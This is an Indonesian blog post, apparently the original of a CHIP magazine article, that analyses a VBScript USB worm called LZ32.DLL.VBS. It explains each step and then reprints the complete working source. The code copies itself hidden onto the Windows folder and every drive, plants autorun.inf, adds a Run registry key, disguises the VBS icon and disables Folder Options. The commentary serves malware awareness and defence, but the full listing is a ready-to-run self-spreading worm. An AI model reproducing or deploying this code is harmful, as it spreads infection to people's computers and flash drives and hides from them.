Minggu, 31 Januari 2010

Virulogi : Ancaman Script nakal (worm-scripting)

By Tri Amperiyanto

Worm (virus) lokal  dengan teknik scripting ternyata masih merebak di sekitar pemakai komputer.  Disana-sini masih saja ditemui Script nakal berjenis VBS (VBE), yang berkembang biak dengan varian-varian baru. Untuk itu, pemakai komputer dianjurkan lebih waspada saat bekerja dengan komputer.
Untuk lebih mengenal dan memahami skrip-skrip berbahaya tersebut, akan diulas bagaimana suatu script worm sederhana bekerja.  Sebagai model, akan diambil satu script worm sesungguhnya yang banyak beredar. File worm jinak ini bernama  LZ32.DLL.VBS.

Cara kerja

Worm (virus) script, pada saat aktif, dengan bantuan fasilitas standar scripting Windows – WSH (windows scripting host)/WSCRIPT atau CSCRIPT,  akan membuat file dengan  nama lz32.dll.vbs, yang merupakan script utama.  Dibantu dengan file yang bernama autorun.inf, yang  berfungsi untuk menjalankan file worm, secara otomatis pada saat flashdisk ditancapkan ke komputer. Worm ini tidak melakukan manipulasi berbahaya, hanya menyebarkan diri dan melakukan manipulasi ringan pada Registry.
Berikut ini adalah petikan dari script yang menunjukkan cara kerja program nakal tersebut. Pembahasan tidak akan terlalu detail dan teknis, hanya memberikan keterangan global dari beberapa script.  Untuk pemahaman lebih jauh, silahkan dicermati dan dianalisis sendiri secara mandiri.

Inisialisasi awal script

Pertama kali script (program)  akan melakukan perintah klasik untuk menangani kesalahan program. Pengaturan beberapa variabel pendukung script akan dibuat.  Lalu, Script aktif yang sedang berjalan  dipersiapkan untuk  menjadi suatu file teks yang siap untuk dikopikan.

on error resume next
dim myself,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = "[autorun]"&vbcrlf&"shellexecute=wscript lz32.dll.vbs"
set fs = createobject("Scripting.FileSystemObject")
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
myself=myself&text.readline
myself=myself & vbcrlf
loop

Kopi dan sembunyi

Pengaturan path untuk bekerja akan ditentukan.  File yang telah dipersiapkan akan dikopikan ke folder Windows dengan  nama lz32.dll.vbs. Dan memasangkan file attribut = 39.  Angka 39 ini merupakan penjumlahan dari angka-angka atribut.  Artinya file tersebut akan bersifat readonly (1) – hanya bisa dibaca, hidden (2) - tersembunyi, system (4) - sistem dan Archieve (32) - arsip.  Dengan teknik ini maka file lz32.dll.vbs tidak akan terlihat (bersembunyi) saat pemakai memakai Windows Explorer.

do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & "\lz32.dll.vbs")
tf.attributes = 32
set tf=fs.createtextfile(winpath & "\lz32.dll.vbs",2,true)
tf.write myself
tf.close
set tf = fs.getfile(winpath & "\lz32.dll.vbs")
tf.attributes = 39

Pemeriksaan jenis drive

Selanjutnya script akan menangani setiap drive yang ada pada sistem komputer.  Jika jenis drive sama dengan 1 (= removable) atau 2 (= fixed)  dan pathnya tidak sama dengan A:,  program akan mengopikan file script aktif ke drive tersebut dengan nama lz32.dll.vbs. Sebelum pengopian berlangsung atribut file akan dijadikan archive (32) terlebih dahulu.  Setelah proses kopi dilakukan atribut file diset kembali menjadi 39 (bersifat readonly, hidden, System dan archieve)

for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then
set tf=fs.getfile(flashdrive.path &"\lz32.dll.vbs")
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &"\lz32.dll.vbs",2,true)
tf.write myself
tf.close
set tf=fs.getfile(flashdrive.path &"\lz32.dll.vbs")
tf.attributes =39

Selain itu, script juga akan membuat file autorun.inf dengan prosedur yang sama dengan pembentukan file lz32.dll.vbs.

set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &"\autorun.inf",2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes=39
end if
next

Manipulasi Registry

Pada tahapan berikutnya, script akan melakukan beberapa memanipulasi Registry yang tidak berbahaya.  Agar script selalu diaktifkan setiap kali Windows dihidupkan, maka ia akan memanipulasi subkey Registry autorun standar, pada subkey Run.

set rg = createobject("WScript.Shell")
rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\lz32dll",winpath&"\lz32.dll.vbs"

Juga, script akan mengubah titel dari Internet Explorer dengan judul 6297676.

rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","6297676"
rg.regwrite

Script akan mengubah icon dari file VBS dengan icon lain  (DLL).   Sehingga akan mengecoh pemakai.

"HKCR\vbsfile\DefaultIcon","%SystemRoot%\System32\shell32.dll,2","REG_EXPAND_SZ"
rg.regwrite

Script akan  menghilangkan fasilitas pengaturan file – Folder Options - pada Windows Explorer.  Manipulasi registry dilakukan secara dua level, yaitu : level User dan Machine. 

"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions",1,"REG_DWORD"
rg.regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions",1,"REG_DWORD"

Tipuan dan pengulangan skrip

Script akan menunda proses infeksi, jika jenis drive aktif tidak sama 1 (removable  disk), selama beberapa waktu. Lalu melakukan proses perputaran pengulangan script.

if check <> 1 then
Wscript.sleep 200000
end if
loop while check<>1

Terakhir kali, jika kriteria drive tersebut tidak terpenuhi, skrip akan diulang lagi.  Hanya saja pemicunya adalah file script yang berada di folder Windows.

set sd = createobject("Wscript.shell")
sd.run winpath&"\explorer.exe /e,/select, "&Wscript.ScriptFullname

Lebih hati-hati

Hanya dengan beberapa baris script sederhana, ternyata suatu file skrip dapat menyebar, menggandakan diri dan melakukan manipulasi (berbahaya) dengan mudah.  Untuk itu, pemakai komputer disarankan untuk lebih berhati-hati dalam menjalankan suatu file, khususnya file *.VBS (VBE), secara sembarangan. Selain itu, memakai program Antivirus yang selalu terupdate dapat mengurangi risiko serangan script berbahaya.

Listing program

Listing berikut ini adalah listing asli program worm yang berhasil ditangkap. File aslinya bernama LZ32.DLL.VBS.  Disajikan secara teks dan apa adanya. Silahkan dicermati.

' ----- ExeScript Options Begin -----
' ScriptType: window,silent
' DestDirectory: temp
' Icon: default
' OutputFile: H:\lz32.dll.exe
' ----- ExeScript Options End -----
'Don't Wanna Know Me
on error resume next
dim myself,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = "[autorun]"&vbcrlf&"shellexecute=wscript lz32.dll.vbs"
set fs = createobject("Scripting.FileSystemObject")
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
myself=myself&text.readline
myself=myself & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & "\lz32.dll.vbs")
tf.attributes = 32
set tf=fs.createtextfile(winpath & "\lz32.dll.vbs",2,true)
tf.write myself
tf.close
set tf = fs.getfile(winpath & "\lz32.dll.vbs")
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then
set tf=fs.getfile(flashdrive.path &"\lz32.dll.vbs")
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &"\lz32.dll.vbs",2,true)
tf.write myself
tf.close
set tf=fs.getfile(flashdrive.path &"\lz32.dll.vbs")
tf.attributes =39
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &"\autorun.inf",2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes=39
end if
next
set rg = createobject("WScript.Shell")
rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\lz32dll",winpath&"\lz32.dll.vbs"
rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","6297676"
rg.regwrite "HKCR\vbsfile\DefaultIcon","%SystemRoot%\System32\shell32.dll,2","REG_EXPAND_SZ"
rg.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions",1,"REG_DWORD"
rg.regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions",1,"REG_DWORD"
if check <> 1 then
Wscript.sleep 200000
end if
loop while check<>1
set sd = createobject("Wscript.shell")
sd.run winpath&"\explorer.exe /e,/select, "&Wscript.ScriptFullname


Note :
Tulisan ini  telah dimuat di majalah CHIP, dengan bahasa yang telah  “diformalkan”.
Tulisan ini adalah versi aslinya !  Semoga berguna dan digunakan

Tidak ada komentar:

Posting Komentar